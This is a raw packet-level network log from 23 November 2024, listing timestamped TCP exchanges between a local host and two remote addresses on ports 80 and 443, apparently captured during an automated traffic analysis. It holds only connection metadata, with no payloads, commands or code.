Nov 23, 2024 21:15:39.362402916 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.363451004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.363538980 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.363596916 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.364433050 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.364594936 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.364650011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.365643024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.365773916 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.376435041 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:39.376580000 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.381225109 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.381233931 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:39.381480932 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:39.383158922 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.383304119 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.383342028 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:39.469166994 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.469238997 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.469296932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.469399929 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.469712973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.469769001 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.469810009 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.469907999 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.470886946 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.471144915 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.471200943 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.472049952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.472104073 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.495306015 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:39.495426893 CET	443	49742	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:39.495553970 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.495592117 CET	49742	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.504081011 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.504172087 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.504326105 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.504371881 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.504684925 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.504740000 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.504805088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.504852057 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.505870104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.506032944 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.506314993 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.506441116 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.507004023 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.507040024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.507070065 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.507108927 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.508207083 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.508399963 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.508430004 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.508461952 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.509377956 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.509422064 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.509543896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.509583950 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.510535002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.510602951 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.510739088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.510797977 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.511678934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.511882067 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.511941910 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.512839079 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.512916088 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.512973070 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.513017893 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.514018059 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.514055014 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.514091969 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.514102936 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.515167952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.515233994 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.515265942 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.515278101 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.516448021 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.516483068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.516500950 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.516912937 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.517520905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.517971992 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.518111944 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.518171072 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.518806934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.518861055 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.518908024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.518958092 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.519946098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.519999981 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.520013094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.520425081 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.521162987 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.521198988 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.521238089 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.522212029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.522273064 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.522346973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.522383928 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.523406982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.523463011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.524070978 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.524121046 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.524507999 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.524559021 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.525228977 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.525290966 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.525679111 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.525722027 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.525863886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.525954962 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.526860952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.526920080 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.527014971 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.528067112 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.528126955 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.528507948 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.528556108 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.529211998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.529426098 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.529521942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.529608011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.530348063 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.530404091 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.530708075 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.531188011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.531500101 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.531568050 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.531692982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.531759977 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.532732964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.532778978 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.532845020 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.533885002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.533945084 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.534532070 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.534584045 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.535008907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.535064936 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.535573959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.535700083 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.536235094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.536271095 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.536334038 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.537358999 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.537430048 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.537734985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.537775040 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.538554907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.538594007 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.538764000 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.538810015 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.539689064 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.539733887 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.540199995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.540241003 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.540930986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.540967941 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.541125059 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.541174889 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.542289019 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.542344093 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.542396069 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.543232918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.543406010 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.543411016 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.543452978 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.544425011 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.544480085 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.544810057 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.544868946 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.545620918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.545686007 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.545744896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.545869112 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.546696901 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.546840906 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.546857119 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.547457933 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.547878981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.547939062 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.548139095 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.548192024 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.549086094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.549141884 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.549209118 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.549254894 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.550355911 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.550564051 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.550620079 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.551394939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.551456928 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.551728964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.551778078 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.552560091 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.552653074 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.552742004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.552789927 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.553766012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.553826094 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.553961039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.554003954 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.554867029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.555020094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.555073023 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.556030989 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.556093931 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.556159973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.556197882 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.557203054 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.557250023 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.557380915 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.557537079 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.558367014 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.558427095 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.558506012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.558554888 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.559516907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.559568882 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.559571981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.559622049 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.560734987 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.560786963 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.561115026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.561172009 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.611397028 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.611444950 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:39.611507893 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.611944914 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:39.611958027 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:39.670685053 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.670753956 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.670777082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.670867920 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.670998096 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.671039104 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.671050072 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.671125889 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.672131062 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.672238111 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.672296047 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.673310995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.673366070 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.673475027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.673707962 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.705313921 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.705477953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.705535889 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.705919027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.705972910 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.706089020 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.706135035 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.707092047 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.707178116 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.707271099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.707494974 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.708211899 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.708309889 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.708630085 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.708673954 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.709369898 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.709418058 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.709971905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.710306883 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.710563898 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.710609913 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.710634947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.710669994 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.711730003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.711776018 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.711960077 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.712035894 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.712929010 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.712977886 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.713347912 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.713390112 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.714148998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.714226007 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.714462996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.714613914 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.715295076 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.715339899 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.715475082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.715521097 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.716445923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.716497898 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.716669083 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.716720104 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.717717886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.717780113 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.717947960 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.717994928 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.718769073 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.718897104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.718956947 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.719953060 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.720092058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.720129013 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.721123934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.721210957 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.721260071 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.721313000 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.722281933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.722316980 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.722330093 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.722361088 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.723498106 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.723543882 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.723596096 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.723634958 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.724611998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.724721909 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.724798918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.724864006 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.725775957 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.725826979 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.725940943 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.726061106 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.726953030 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.727006912 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.727050066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.727869987 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.728144884 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.728200912 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.728311062 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.728355885 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.729305983 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.729357958 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.729404926 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.729461908 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.730462074 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.730509996 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.730555058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.730598927 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.731739044 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.731776953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:39.731794119 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.731861115 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:39.732757092 CET	80	49750	185.215.113.16	192.168.2.8
